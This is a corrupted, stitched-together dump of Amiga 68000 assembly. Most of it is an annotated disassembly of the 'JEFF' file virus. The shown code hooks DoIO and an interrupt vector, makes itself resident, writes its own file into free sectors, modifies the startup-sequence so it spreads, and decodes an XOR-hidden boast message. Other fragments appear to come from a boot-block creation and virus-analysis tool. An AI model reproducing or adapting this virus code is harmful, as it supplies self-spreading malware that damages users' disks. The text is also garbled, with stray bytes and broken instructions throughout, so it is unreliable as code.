move.b d0,(a0)+ SpcPt2: movem.l (a7)+,a0/d4 rts Dosbase:dc.l 0 Locksav:dc.l 0 Handle: dc.l 0 Fileinfo:dc.l 0 root: dc.l 0 path: dc.l 0 Vol: dc.b $c,$9b,"0 p","Path : ",0 Dir: dc.b " Dir ",0 waitre: dc.b $a," Press return to continue",0 Dosname:dc.b "dos.library",0 Return: dc.b $a OptaF: dc.b 0 buf: dc.b 0 dc.b " " convt: dc.b " ",0 Free: dc.b "Bytes Fr7nee",0 oran: dc.b $9b,"0;33;40m",0 norm: dc.b $9b,"0;31;40m",0 tab: dc.b $9b,"0",$45,$9b,"0",$46,$9b,"40",$43,0 lpt: dc.b $9b,"2;1",$48,$9b,$4a,0 Name: dc.b "DF0:",0 ,d0 bsr.s Convb swap d4 move.w d4,d0 addq.l #4,a0 bsr.s Convb rts Convb: movem.l a0/d4,-(a7) move.l #1000,d4 moveq #2,d2 ConvLp: divu d4,d0 add.b #"0",d0 tst.l d6 bne.s NoSpc cmp.b #$30,d0 bne.s NoSpc addq #1,a0 bra.s SpcPt NoSpc: moveq #1,d6 move.b d0,(a0)+ SpcPt: clr.w d0 swap d0 divu #10,d4 dbf d2 M|VE.L #$00000A00,$0024(A1) ;len=5 secteurs 0003E8 MOVE.L #0,$002C(A1) ;boot 0003F0 JSR $0005A8FC ;doio 0003F4 MOVE.L $0007FD02,$0028(A1) 0003FC MOVE.W #3,$1000(A1) END ; 000352 MOVE.L $0007FD06,$0024(A1) 00035A JMP $0005A8FC 00035E MOVE.L $0007FD02,$0028(A1) ;restore buffer 000366 MOVE.W #2,$001C(A1) ;read 00036C MOVE.L $0007FD06,$0024(A1) ;restore len 000374 MOVE.L #0,$002C(A1) ;boot 00037C JMP $0005A8FC 000380 MOVE.L $0028(A1),$0007FD02 ;sauve buffer 000388 CMP.L #$0000020$ = 000788 LEA $01B0(A0),A0 00078C MOVEQ.L #0,D1 00078E MOVE.B (A0)+,D1 000790 SUBQ.W #1,D1 000792 MOVE.B (A0)+,D0 000794 CMP.B #$61,D0 000798 BCS.S START+$07A4 00079A CMP.B #$7A,D0 00079E BHI.S START+$07A4 0007A0 SUB.B #$20,D0 0007A4 CMP.B (A2)+,D0 0007A6 BNE.S START+$07AE 0007A8 DBRA D1,START+$0792 0007AC CLR.B D0 0007AE RTS 0007B0 SUB.B #$28,D0 0007B4 BPL.S START+$07B8 0007B6 NEG.B D0 0007B8 RTS 0007BA LEA $00DC(A2),A3 0007BE TST.W (A0)+ 0007C0 MOVEQ.L #0,D0 0007C2 TST.B (A0)]ㆳ+ 0007C4 BNE.S START+$07CC 0007C6 MOVE.L (A2),D1 0007C8 BCLR D0,D1 0007CA MOVE.L D1,(A2) 0007CC ADD.B #1,D0 0007D0 CMP.B #$20,D0 0007D4 BCS.S START+$07C2 0007D6 TST.L (A2)+ 0007D8 CMP.L A2,A3 0007DA BHI.S START+$07C0 0007DC RTS 0007DE MOVEM.L A1/A2,-(SP) 0007E2 LEA START+$0B2C(PC),A0 0007E6 SUB.B #1,(A0) 0007EA BPL.S START+$0834 0007EC MOVE.B #1,(A0) 0007F0 MOVE.L $0005C0E4,D0 0007F4 BEQ.S START+$0834 0007F6 MOVE.L D0,A1 0007F8 TST.L $0034(A1) 0007FC BEQ.S START+$0834 0007FE LEA S^)'TART+$0B2E(PC),A0 000802 MOVEQ.L #0,D0 000804 MOVE.W (A0),D0 000806 MOVE.L START+$0B34,A1 00080A LEA $00CA(A1),A1 00080E TST.B 0(A1,D0.W) 000812 BNE.S START+$0816 000814 CLR.W D0 000816 LEA 0(A1,D0.W),A2 00081A ADDQ.W #1,D0 00081C TST.B 0(A1,D0.W) 000820 BNE.S START+$081A 000822 ADDQ.W #1,D0 000824 MOVE.W D0,(A0) 000826 MOVE.L $0005C0E4,A1 00082A MOVE.L $0034(A1),A1 00082E LEA $0020(A1),A1 000832 MOVE.L A2,(A1) 000834 MOVEM.L (SP)+,A1/A2 000838 RTS 00083A MOVE.L A5,-(SP) 00083C MO_bVE.L START+$0B34,A5 000840 LEA $0059(A5),A0 000844 MOVE.L START+$0B30,D0 000848 BSR START+$0868 00084A MOVE.L 4,A6 00084E LEA $024A(A5),A1 000852 JSR _LVOOldOpenLibrary(A6) 000856 MOVE.L D0,A6 000858 MOVE.L A5,A0 00085A MOVEQ.L #0,D0 00085C MOVE.L D0,D1 00085E MOVE.B #$96,D1 000862 MOVE.L (SP)+,A5 000864 JMP -$005A(A6) 000868 DIVU #$10,D0 00086C BSR START+$0882 00086E DIVU #$E8,D0 000872 BSR START+$0882 000874 DIVU #$64,D0 000878 BSR START+$0882 00087A DIVU #10,D0 00087E BSR START+ `$0882 000882 ADD.W #$0030,D0 000886 MOVE.B D0,(A0)+ 000888 CLR.W D0 00088A SWAP D0 00088C RTS 00088E MOVE.L A1,-(SP) 000890 MOVE.L START+$0B34,A1 000894 LEA $024A(A1),A1 000898 JSR _LVOOldOpenLibrary(A6) 00089C LEA $0005C0E4(PC),A0 0008A0 MOVE.L D0,(A0) 0008A2 MOVE.L (SP)+,A1 0008A4 RTS 0008A6 dc.l $B41BACA5,$DDC3B412,$B44B84A7,$F1ABF2CA,$C7CDC79D 0008BA dc.l $D18CDF84,$DA8A9485,$D19FD1C3,$9AC3B412,$B46188C5 0008CE dc.l $C3C4948F,$CDCDC085,$D1CDD388 0008DA dc.l $DA84DB98 0008DE!a~ dc.l $C7CDF6B8 0008E2 dc.l $E0A2FAA4 0008E6 dc.l $F7C3B412 0008EA dc.l $B471FCBB 0008EE dc.l $94DE9ADD 0008F2 dc.l $84C28DC3 0008F6 dc.l $86C38CD4 0008FA dc.l $99AAD183 0008FE dc.l $9ADD84DD 000902 dc.l $84DDB412 000906 dc.l $B489EEAA 00090A dc.l $C688D199 00090E dc.l $DD83D39E 000912 dc.l $9499DBCD 000916 dc.l $9EA5D58E 00091A dc.l $DF80D58E 00091E dc.l $DFC798C7 000922 dc.l $F599D88C 000926 dc.l $DA99DD8E 00092A dc.l $9EC1B412 00092E dc.l $B4F5D0CB 000932 dc.l $94ACD888 000936 dc."b@E(A1,D0.W) 00085C BNE.S START+$0856 00085E ADDQ.W #1,D0 000860 MOVE.W D0,(A0) 000862 MOVE.L START+$0D1A,A1 000866 MOVE.L $0034(A1),A1 00086A LEA $0020(A1),A1 00086E MOVE.L A2,(A1) 000870 MOVEM.L (SP)+,A1/A2 000874 RTS 000876 LEA START+$0A03(PC),A0 ;calcul nb repro en ascii 00087A MOVE.L START+$0D1E,D0 00087E BSR START+$089E 000880 MOVE.L 4,A6 000884 LEA START+$0CEA(PC),A1 ;intui.lib 000888 JSR _LVOOldOpenLibrary(A6) 00088C MOVE.L D0,A6 00088E LEA START+$0962(PC),A0 ;texte 000892 MO'p3.VEQ.L #0,D0 000894 MOVE.L D0,D1 000896 MOVE.B #$96,D1 00089A JMP _LVODisplayAlert(A6) 00089E DIVU #$10,D0 0008A2 BSR START+$08B8 0008A4 DIVU #$E8,D0 0008A8 BSR START+$08B8 0008AA DIVU #$64,D0 0008AE BSR START+$08B8 0008B0 DIVU #10,D0 0008B4 BSR START+$08B8 0008B8 ADD.W #$0030,D0 0008BC MOVE.B D0,(A0)+ 0008BE CLR.W D0 0008C0 SWAP D0 0008C2 RTS ;mets en majuscules 0008C4 CMP.B #$61,D0 0008C8 BCS.S START+$08D4 0008CA CMP.B #$7A,D0 0008CE BHI.S START+$08D4 0008D0 SUB.B #$20,D0 0008D(q E4 RTS 0008D6 LEA START+$0962(PC),A0 0008DA MOVE.W #$00EA,D0 0008DE EOR.L #$AAAAAAAA,(A0)+ 0008E4 DBRA D0,START+$08DE 0008E8 RTS ;open intuilib 0008EA MOVE.L A1,-(SP) 0008EC LEA START+$0CEA(PC),A1 ;intuition.lib 0008F0 JSR _LVOOldOpenLibrary(A6) 0008F4 LEA START+$0D1A(PC),A0 0008F8 MOVE.L D0,(A0) 0008FA MOVE.L (SP)+,A1 0008FC RTS ;detourne $68 0008FE MOVE.L $00000068,D0 ;interrupt level 2 000902 CMP.L #$00F00000,D0 ;en rom? 000908 BCS.S START+$0918 ;non 00090A LEA STAR)r^HПT+$095E(PC),A0 00090E MOVE.L D0,(A0) ;old $68 000910 LEA START+$091A(PC),A0 000914 MOVE.L A0,$00000068 ;new $68 000918 RTS ;new $68 00091A MOVEM.L D0-D7/A0-A6,-(SP) 00091E MOVE.B $00BFEC01,D0 000924 CMP.B #$41,D0 ;help 000928 BNE.S START+$0958 ;on fait rien 00092A BSR START+$01EE ;both mouse buttons? 00092E BNE.S START+$0958 000930 MOVE SR,D0 000932 MOVE #0,SR 000936 LEA $00BFE001,A0 00093C BTST #6,(A0) ;wait gauche relache 000940 BEQ.S START+$093C 000942 BTST #6,(A*sۨŒ0) ;wait gauche presse 000946 BNE.S START+$0942 000948 BTST #6,(A0) ;wait gauche relache 00094C BEQ.S START+$0948 00094E MOVE D0,SR 000950 MOVE.B #$40,$00BFE001 ;set bit #6 000958 MOVEM.L (SP)+,D0-D7/A0-A6 00095C JMP $00FC0CA6 ;old $68 ;text guru 000962 dc.b 0,'l',$18,'Einen ganz wunderschonen guten Tag!',0 dc.b $FF,0,'40* I am JEFF - the new Virus generation on Amiga' dc.b ' *',0 dc.b $FF,0,$8C,'<','(w) by the genious BUTONIC.',0 dc.b $FF,0,'dH','V 1.31/05.11.88 - Gen+t next 000726 BSR START+$08D6 ;recode texte 00072A MOVE.L START+$07F2,A0 ;buffer 00072E MOVE.L $013C(A0),D0 000732 BSR START+$079E ;calcul offset 000736 ADD.L #$00000400,A0 00073C MOVE.L A0,$0028(A1) 000740 CLR.L (A0) 000742 BSR START+$07C6 ;chksum 000746 MOVE.L D0,(A0) 000748 BSR START+$07A8 ;write 00074C MOVE.L START+$07F2,A0 000750 MOVE.L A0,$0028(A1) 000754 MOVE.L #$0006E000,$002C(A1) ;rootblock 00075C BSR START+$07B8 ;chksum 000760 BSR START+$07A8",! ;write 000764 MOVE.L START+$07F2,A1 ;buffer 2 kb 000768 MOVE.L #$00000800,D0 00076E JSR _LVOFreeMem(A6) ;libere 000772 MOVEM.L (SP)+,D0-D7/A0-A6 000776 LEA START-$22(PC),A0 00077A MOVE.W -2(A0),$001C(A1) ;restore IO parametres 000780 MOVE.L -6(A0),$0020(A1) 000786 MOVE.L -10(A0),$0024(A1) 00078C MOVE.L -14(A0),$0028(A1) 000792 MOVE.L -$0012(A0),$002C(A1) 000798 JMP $00FC06DC ;old DoIO ;calcul offset du block en D0 00079E LSL.L #8,D0 0007A0 LSL.L #1,D0 ;*512 0007A2 MOVE.L D0,#0$002C(A1) ;offset 0007A6 RTS ;write+update 0007A8 MOVE.W #3,$001C(A1) ;write 0007AE BSR START+$0798 0007B0 MOVE.W #4,$001C(A1) ;update 0007B6 BRA.S START+$0798 ;calcul chksum 0007B8 CLR.L $0014(A0) 0007BC BSR START+$07C6 ;calcul chksum 0007C0 MOVE.L D0,$0014(A0) 0007C4 RTS ;calcul chksum 0007C6 MOVE.L A0,A2 0007C8 MOVEQ.L #0,D0 0007CA MOVE.W #$007F,D1 0007CE SUB.L (A2)+,D0 0007D0 DBRA D1,START+$07CE 0007D4 RTS ;cmp filename et 'startup' 0007D6 LEA $01B0(A0),A0 ;filena$quLme 0007DA MOVEQ.L #0,D1 0007DC MOVE.B (A0)+,D1 ;len filename (BCPL) 0007DE SUBQ.W #1,D1 ;-1 pour dbra 0007E0 MOVE.B (A0)+,D0 0007E2 BSR START+$08C4 ;majuscules 0007E6 CMP.B (A2)+,D0 0007E8 BNE.S START+$07F0 ;=startup? 0007EA DBRA D1,START+$07E0 0007EE CLR.B D7 ;ok 0007F0 RTS 0007F2 dc.l $00006250 ;buffer 2 kb ;secteurs libres pour virus 0007F6 dc.l $000005C1,$000005C0,$000005BF,$000005B6,$000005B5 00080A dc.l $000005B4,$000005B3,$000005B2 000816 dc.l 0 00081A dc.l 0 0008%nZk1E MOVEM.L A1/A2,-(SP) 000822 LEA START+$0D16(PC),A0 000826 ADDQ.B #1,(A0) 000828 CMP.B #2,(A0) 00082C BCS.S START+$0870 00082E CLR.B (A0) 000830 MOVE.L START+$0D1A,D0 000834 BEQ.S START+$0870 000836 MOVE.L D0,A1 000838 TST.L $0034(A1) 00083C BEQ.S START+$0870 00083E LEA START+$0D18(PC),A0 000842 MOVEQ.L #0,D0 000844 MOVE.W (A0),D0 000846 LEA START+$0A8E(PC),A1 00084A TST.B 0(A1,D0.W) 00084E BNE.S START+$0852 000850 CLR.W D0 000852 LEA 0(A1,D0.W),A2 000856 ADDQ.W #1,D0 000858 TST.B 0LGMOVE.L #$80000000,D0 00038E MOVE.L (A2),D2 ;bitmap (32 secteurs) 000390 AND.L D0,D2 ;%00100000 00000000 ... 000392 BEQ START+$03A8 ;3e secteur occupe 000396 EOR.L D0,(A2) ;occupe 3e secteur 000398 MOVE.L D1,(A3)+ 00039A CLR.L (A3) 00039C ADD.W #1,D3 0003A0 CMP.W #8,D3 ;8*512=4 kb 0003A4 BEQ START+$03BC ;fin 0003A8 SUB.W #1,D1 0003AC CMP.W #2,D1 ;on arrive au boot? 0003B0 BCS START+$0764 0003B4 LSR.L #1,D0 ;%00100000 00000000 ... 0003B6 BNE.S START+$038E 0003B8 TST.L -(A䫺2) 0003BA BRA.S START+$0388 0003BC MOVE.L START+$07F2,A0 ;buffer 2 kb 0003C0 MOVE.L $0078(A0),D0 ;hashtable 0003C4 BEQ START+$0764 0003C8 BSR START+$079E ;calcul offset 0003CC MOVE.W #2,$001C(A1) ;read 0003D2 SUB.L #$00000200,$0028(A1) 0003DA BSR START+$0798 ;DoIO 0003DE LEA START+$0CFC(PC),A0 ;'startup' 0003E2 BSR START+$0188 ;calcul hashcode 0003E6 LSL.L #2,D0 ;*4 0003E8 MOVE.L $0028(A1),A0 0003EC CMP.L #2,$01FC(A0) ;Sous type=2? 0003F4 BNE START+$0764 0003F8 MOVE.L 0(A0s,D0.W),D0 ;#bloc startup 0003FC BEQ START+$0764 ;pas de startup 000400 BSR START+$079E ;calcul offset 000404 BSR START+$0798 ;DoIO = read 000408 MOVE.L $0028(A1),A0 00040C LEA START+$0CFC(PC),A2 ;'startup' 000410 BSR START+$07D6 000414 BEQ.S START+$0424 ;ok 000416 MOVE.L $0028(A1),A0 00041A MOVE.L $01F0(A0),D0 ;next block with same hash 00041E BEQ START+$0764 ;fin 000422 BRA.S START+$0400 ;on continue... 000424 MOVE.L $0028(A1),A0 ;buffer 000428 MOVE.L $0010(A0),D0 ;1er dљata block 00042C BSR START+$079E ;calcul offset 000430 BSR START+$0798 ;DoIO = read 000434 MOVE.L $0028(A1),A0 ;buffer 000438 MOVE.L 12(A0),D0 ;nb octets ds block 00043C CMP.W #$01E8,D0 ;<488? (=secteur plein) 000440 BCS.S START+$0444 ;oui 000442 SUBQ.W #1,D0 000444 LEA $0018(A0),A0 ;debut data 000448 CLR.B 0(A0,D0.W) 00044C LEA START+$0C81(PC),A3 ;'addbuffer ...' 000450 MOVE.L A3,D6 000452 MOVE.L A0,A2 000454 MOVE.B (A2)+,D0 000456 CMP.B #10,D0 ;fin de ligne? 00045A BNE STA{74RT+$0462 00045E MOVE.L A2,A0 000460 BRA.S START+$044C 000462 BSR START+$08C4 ;majuscules 000466 MOVE.B D0,D1 000468 MOVE.B (A3)+,D0 00046A BSR START+$08C4 ;majuscules 00046E CMP.B D0,D1 ;startup = 'addbuffer ...'? 000470 BNE.S START+$048C ;non 000472 MOVE.B (A3)+,D0 000474 CMP.B #$20,D0 ;space 000478 BEQ START+$04A0 00047C BSR START+$08C4 ;majuscules 000480 MOVE.B D0,D1 000482 MOVE.B (A2)+,D0 000484 BSR START+$08C4 ;majuscules 000488 CMP.B D0,D1 00048A BEQ.S START+$0472 ; startup='addbuffer...' 00048C TST.B (A3)+ 00048E BNE.S START+$048C ;cherche fin nom 000490 TST.B (A3) ;fin text 'addbuffer' ? 000492 BNE.S START+$0450 ;non 000494 MOVE.B (A0)+,D0 000496 BEQ.S START+$04A8 ;fin startup? 000498 CMP.B #10,D0 00049C BNE.S START+$0494 ;wait end of line 00049E BRA.S START+$044C ;si space 0004A0 MOVE.L D6,A5 ;ptr 'addbuffer...' 0004A2 CLR.B D6 0004A4 BRA START+$0526 0004A8 MOVE.B #1,D6 0004AC LEA START+$0D14(PC),A0 0004B0 ADD.B #1,(A0) 0004B4 CMPi^̡.B #11,(A0) ;cpt 0004B8 BCS.S START+$04BC 0004BA CLR.B (A0) 0004BC LEA START+$0C81(PC),A2 ;'startup' 0004C0 CLR.W D0 0004C2 MOVE.B (A0),D0 0004C4 BEQ.S START+$04D0 0004C6 SUBQ.W #1,D0 0004C8 TST.B (A2)+ 0004CA BNE.S START+$04C8 0004CC DBRA D0,START+$04C8 0004D0 MOVE.L A2,A0 0004D2 CLR.L D1 0004D4 TST.B (A0)+ 0004D6 BEQ.S START+$04DE 0004D8 ADD.W #1,D1 0004DC BRA.S START+$04D4 0004DE ADD.W #1,D1 0004E2 MOVE.L A2,A5 0004E4 MOVE.L $0028(A1),A0 0004E8 MOVE.L 12(A0),D0 0004EC CMP.L #$00`a00001F4,D0 0004F2 BHI START+$0764 0004F6 ADD.L D1,D0 0004F8 MOVE.L D0,12(A0) 0004FC LEA $0018(A0),A0 000500 SUB.W #1,D0 000504 MOVE.L A0,A3 000506 ADD.L D1,A3 000508 MOVE.B 0(A0,D0.W),0(A3,D0.W) 00050E DBRA D0,START+$0508 000512 MOVE.B (A2)+,(A0)+ 000514 BNE.S START+$0512 000516 MOVE.B #10,-(A0) 00051A MOVE.L $0028(A1),A0 00051E BSR START+$07B8 000522 BSR START+$07A8 000526 MOVE.L START+$07F2,A0 ;buffer 00052A ADD.L #$00000600,A0 000530 CLR.W D5 000532 ADDQ.W #1,D5 ;len 000534 MOV E.B (A5)+,D0 ;'addbuffer...' 000536 BEQ.S START+$0548 ;fin? 000538 CMP.B #$20,D0 00053C BEQ.S START+$0548 ;space? 00053E CMP.B #10,D0 000542 BEQ.S START+$0548 ;return? 000544 MOVE.B D0,(A0)+ 000546 BRA.S START+$0532 ;sinon on recopie 000548 CLR.B (A0) ;fin startup 00054A SUBQ.W #1,D5 ;corrige len 00054C MOVE.L START+$07F2,A5 ;debut 000550 ADD.L #$00000600,A5 000556 MOVE.L A5,A0 ;debut 000558 BSR START+$0188 ;cherche fin (0) 00055C MOVE.L START+$07F2,A0 000560 LSL.L #2,@D0 ;*4 000562 MOVE.L 0(A0,D0.W),D1 000566 MOVE.L D1,-(SP) 000568 TST.B D6 00056A BNE.S START+$059C 00056C TST.L D1 00056E BEQ.S START+$059C 000570 LSL.L #8,D1 000572 LSL.L #1,D1 ;*512 000574 MOVE.L D1,$002C(A1) ;offset 000578 MOVE.W #2,$001C(A1) ;read 00057E MOVE.L D0,-(SP) 000580 BSR START+$0798 ;DoIO 000584 MOVE.L (SP)+,D0 000586 MOVE.L $0028(A1),A0 ;buffer 00058A MOVE.L START+$0D24,D1 00058E CMP.L $0190(A0),D1 000592 BNE START+$059C 000596 MOVE.L (SP)+,D1 000598 BRA START+y O$0764 00059C LEA START+$07F6(PC),A2 ;secteur libres 0005A0 MOVE.L START+$07F2,A0 0005A4 MOVE.L (A2),0(A0,D0.W) 0005A8 BSR START+$08D6 ;recode texte 0005AC MOVE.L $0028(A1),A0 0005B0 MOVE.L START+$07F6,D0 ;secteur libres 0005B4 BSR START+$079E ;calcul offset 0005B8 MOVE.L A0,A2 0005BA MOVE.W #$007F,D0 ;clr secteur 0005BE CLR.L (A2)+ 0005C0 DBRA D0,START+$05BE 0005C4 MOVE.L A0,A2 0005C6 MOVE.L #2,(A2)+ ;TYPE=fileheader 0005CC LEA START+$07F6(PC),A3 0005D0 MOVE.L (A3),(A2)+ ;#R3cture residente 0000FE DBRA D0,START+$FC 000102 LEA START-$8(PC),A1 ;structure residente 000106 MOVE.L 4,A6 00010A MOVE.L A1,$0226(A6) ;kicktagptr 00010E JSR _LVOSumKickData(A6) 000112 MOVE.L D0,$022A(A6) ;kickchksum 000116 RTS 000118 MOVE.L D0,A0 ;adr allocmem+$42 00011A LEA START+0(PC),A1 ;debut virus 00011E MOVE.W #$0D27,D1 ;len 000122 MOVE.B (A1)+,(A0)+ ;recopie 000124 DBRA D1,START+$0122 000128 MOVE.L D0,A0 ;adr allocmem+$42 00012A LEA START+$3E(PC),A1 00012E LEA STARCT+0(PC),A2 000132 SUB.L A2,A1 000134 ADD.L A0,A1 000136 JMP (A1) ;START+$3E 000138 MOVE.L 4,A6 00013C LEA START+$0798(PC),A0 000140 MOVE.L -$01C6(A6),D0 ;DoIO 000144 LEA START+0(PC),A1 000148 CMP.L A1,D0 ;dBuf lea KillB,a0 bsr.s CopBoot bsr.s BuildB tst.b AutoF bne.s EndChk2 bsr.W OpenDrs bsr.W WritB EndChk: moveq #0,d0 rts EndChk2:moveq #-1,d0 rts ;Efface buffer et prepare boot ClrBuf: move.l Buffer,a2 move.l a2,a1 move.w #1023,d0 ClrBLp: clr.b (a1)+ dbf d0,ClrBLp move.l #"DOS.",(a2) move.b #0,3(a2) move.l #880,8(a2) add.l #12,a2 ;(a2) buffer+12 rts ;Copie boot code CopBoot:move.w (a0)+,(a2)+ ;(a0) ptr Bootcode cmp.w #$4e71,(a0) ;(a2) ptr Buffer bne.s CopBoot rtq?m*s ;copie FindResident et calcule Chksum BuildB: lea NormB,a0 bsr.s CopBoot DoSum: move.l Buffer,a0 lea 4(a0),a1 clr.l (a1) move.w #$ff,d1 moveq #0,d0 BChkSLp:add.l (a0)+,d0 bcc.s BJump add.l #1,d0 BJump: dbf d1,BChkSLp not.l d0 move.l d0,(a1) rts Create: move.L #Inst,D2 bsr.W Ecrire2 bsr.W Keyread cmp.l #$d,d0 beq.s MakeBB cmp.l #"8",d0 beq.W EndCrea cmp.l #"d",d0 beq.s CreChgD cmp.l #"D",d0 beq.s CreChgD lea CreatLi-12,a0 lea Inst2,a1 CreaLp: add.l #12,a0 q@Hutst.l (a0) beq.s Create cmp.l (a0),d0 bne.s CreaLp sub.l #$31,d0 SeCreR: cmp.b #$a,(a1)+ bne.s SeCreR dbf d0,SeCreR tst.l 4(a0) bne.s FuncOff move.l #-1,4(a0) move.b #"*",3(a1) bra.s Create FuncOff:move.l #0,4(a0) move.b #" ",3(a1) bra.s Create CreChgD:bsr.W NextDrd bra.W Create MakeBB: clr.b CrFlag bsr.W ClrBuf lea CreatLi,a3 MaBBLp: tst.l 4(a3) beq.s NoSelFu move.b #1,CrFlag move.l 8(a3),a0 cmp.l #MakePal,a0 bne.s NMakeP bsr.W Request tst.w Border bne.s NMqA[RzakeP move.l a0,-(a7) moveq #30,d3 ;getname move.l #MakPT,d6 move.l #MakPB,d5 bsr.W GetName lea MakPB,a1 ;amigados ? tst.b (a1) bne.s NoMakeP lea AmiDos,a0 moveq #7,d0 CAmiDLp:move.b (a0)+,(a1)+ dbf d0,CAmiDLp NoMakeP:move.l (a7)+,a0 NMakeP: bsr.W CopBoot NoSelFu:add.l #12,a3 tst.l (a3) bne.s MaBBLp tst.b CrFlag beq.s NoPub moveq #39,d0 lea CreaPub,a0 bsr.W CopBoot NoPub: bsr.W BuildB bsr.W WriteB bra.W Create EndCrea:rts ;routines disquettes Protect:move.l 4.wqBY/M,a6 lea Diskioreq,a1 move.w #15,28(a1) jsr -456(a6) lea Diskioreq,a1 tst.l 32(a1) beq.s OkProt ProMsg: move.l #Protxt,d2 bsr.W EcriClr bsr.W Wait moveq #1,d0 OkProt: rts Drive: moveq #0,d0 move.l 4.w,a6 lea Diskioreq,a1 move.w #14,28(a1) jsr -456(a6) lea Diskioreq,a1 tst.l 32(a1) beq.s OkDk NDIDr: move.l #Ndktxt,d2 bsr.W EcriClr bsr.W Wait moveq #1,d0 OkDk: rts Readtrk:bsr.W Opendrs ReadT: bsr.s Drive bne.S EndTrk move.l 4.w,a6 lea Diskioreq,a1 move.w #2,28(000076 MOVE.B #1,(A0) 00007A LEA START+$0D1A(PC),A0 00007E CLR.L (A0) 000080 LEA START+0(PC),A1 000084 SUB.L #$00000036,A1 00008A MOVE.L #$00000DAC,D0 000090 MOVE.L 4,A6 000094 JSR _LVOAllocAbs(A6) 000098 BSR START+$0138 ;devie DoIO 00009C BSR START+$08FE ;devie $68 0000A0 CLR.L D0 0000A2 RTS ;structure residente 0000A4 dc.w $4AFC 0000A6 dc.l $00C09520 0000AA dc.l $00C0A26A 0000AE dc.l $01210008 0000B2 dc.l 0 0000B6 dc.l 0 0000BA dc.l $00C0958A 0000BE dc.l $00C09520 0000C2 dc.l m0 0000C6 LEA START+0(PC),A0 0000CA MOVE.L A0,D0 0000CC LEA START+$A4(PC),A0 0000D0 MOVE.L D0,D1 0000D2 SUB.L #$00000022,D1 0000D8 MOVE.L D1,2(A0) ;START-$22 (matchtag) 0000DC MOVE.L D1,$001A(A0) 0000E0 LEA START+$D28(PC),A1 ;fin virus (endskip) 0000E4 MOVE.L A1,6(A0) 0000E8 LEA START+$48(PC),A1 0000EC MOVE.L A1,$0016(A0) ;jmp 0000F0 MOVE.L #$00000021,D0 ;len = $22 0000F6 LEA START-$22(PC),A1 ;Source=$a4/destination=-$22 0000FA MOVE.L A1,A2 0000FC MOVE.B (A0)+,(A2)+ ;recopie struq/X$237c,(a0) bne.s niopar1 move.w 6(a0),d0 move.l 2(a0),d1 bsr.W idiopar niopar1:cmp.w #$42a9,(a0) bne.s niopar2 moveq #0,d0 move.w 2(a0),d1 bsr.W idiopar niopar2:move.l (a0),d0 and.l #$337cfff0,d0 cmp.l #$337c0000,d0 bne.s niocmd cmp.w #$1c,4(a0) bne.s rwiolp bra.s iocmdok niocmd: and.l #$137cfff0,d0 cmp.l #$137c0000,d0 bne.s rwiolp cmp.w #$1d,4(a0) bne.s rwiolp iocmdok:tst.l d6 beq.s npdskt move.l #analt,d2 bsr.W ecrire2 move.l #anadskt,d2 bsr.W ecrire2 npdsktq0`: moveq #0,d6 moveq #0,d7 move.l #return,d5 lea iolist,a2 ioclp: move.b 3(a2),d0 cmp.b 3(a0),d0 bne.s notioc move.l 4(a2),d5 notioc: addq #8,a2 tst.l (a2) bne.s ioclp bsr.W orange move.l #useioc,d2 bsr.W ecrire2 cmp.l #writio,d5 bne.s notwrc add.b #1,virdia notwrc: cmp.l #readio,d5 bne.s notrec add.b #1,loadia notrec: move.l d5,d2 bsr.W ecrire2 bsr.W normal bra.W rwiolp rwio: tst.l d7 beq.s endmp1 move.l #ananoth,d2 bsr.W ecrire2 bsr.W wait rts endmp1: moveq1EW.b virdia,d0 move.b loadia,d1 move.b d1,d2 add.b d0,d2 tst.b d2 beq.s anaerr cmp.b #2,d0 bge.s survir tst.b virdia beq.s bblo move.l #bbvir1,d2 bra.s endana survir: move.l #bbvir2,d2 bra.s endana bblo: move.l #bbloa,d2 endana: bsr.W ecrire2 move.l #rett,d2 bsr.W ecrire2 bsr.W waitret anaerr: rts idiopar:lea ioparl,a2 idparlp:cmp.w 2(a2),d0 bne.s unpar move.l d1,d4 tst.l d6 beq.s niopt move.l #analt,d2 bsr.W ecrire2 move.l #anadskt,d2 bsr.W ecrire2 moveq #0,dq2Gʐ6 niopt: move.l d4,d0 bsr.W conv novlen: move.l 4(a2),d2 cmp.l #iolen,d2 bne.s nlen cmp.l #$400,d4 bne.s nvlen add.b #1,virdia nvlen: add.b #1,loadia nlen: bsr.W ecrire2 move.l #convtxt,d2 bsr.W ecrire2 moveq #0,d7 unpar: addq #8,a2 tst.l (a2) bne.s idparlp rts CheckSum:tst.b AutoF bne.s EndSum move.l #SouT,d2 bsr.W EcriClr bsr.W WaitRet bsr.W ReadTrk bne.S EndSum bsr.W DoSum move.l Dosbase,a6 move.l #SumT,d2 bsr.W EcriClr move.l #50,d1 jsr -198(a6) move.lq3PĂk #Wr,d2 bsr.W EcriClr bsr.W WritB EndSum: rts WbStart:clr.l WbMsg move.l 4.w,a6 sub.l a1,a1 ;current task jsr -294(a6) ;FindTask move.l d0,a4 tst.l 172(a4) ;pr_CLI bne.s FromCli lea 92(a4),a0 ;pr_MsgPort jsr -384(a6) ;WaitPort lea 92(a4),a0 ;pr_MsgPort jsr -372(a6) ;GetMsg move.l d0,WbMsg ;sauve Msg FromCli:rts WbOut: tst.l Wbmsg beq.s EndCli move.l 4.w,a6 jsr -132(a6) ;Forpib move.l WbMsg,a1 jsr -378(a6) ;ReplyMsg Endcli: rts Ecrire3:move.l Dosbase,a6 jsr -60q4L E(a6) move.l d0,d1 bra.s Ecr3 Ecrire2:move.l Conhandle,d1 Ecr3: move.b #0,FlagEcr movem.l a1/a0/d2/d3,-(a7) move.l d2,a0 clr.l d3 EcriLp: addq #1,d3 cmp.b #-1,(a0)+ bne.s EcriLp subq #1,d3 bra.s Ecr1 Ecrire: move.l Conhandle,d1 move.b #1,FlagEcr Ecr1: move.l a0,-(a7) move.l Dosbase,a6 jsr -48(a6) move.l (a7)+,a0 tst.b FlagEcr bne.s EndEcr movem.l (a7)+,a1/a0/d2/d3 EndEcr: rts EcriClr:move.l d2,-(a7) move.l #EcrClrT,d2 bsr.s Ecrire2 move.l (a7)+,d2 bsr.s Ecrire2 rq5sts Keypage:move.l #keytxt,d2 bsr.B ecrire2 bsr.W waitret moveq #-1,d2 rts Greet: move.l #Greeti,d2 bsr.B ecrire2 bsr.W waitret moveq #-1,d2 rts Amiguy: move.l #guytxt,d2 bsr.W ecrire2 bsr.W waitret moveq #-1,d2 rts Copyb: move.l buffer,a0 move.l boots,a1 move.l #$100,d0 Coplp: move.l (a1)+,(a0)+ dbf d0,coplp rts Opendrs:clr.l d0 move.b drs,d0 bra.s opendr Opendrd:clr.l d0 move.b drd,d0 bra.s opendr Opendev:sub.b 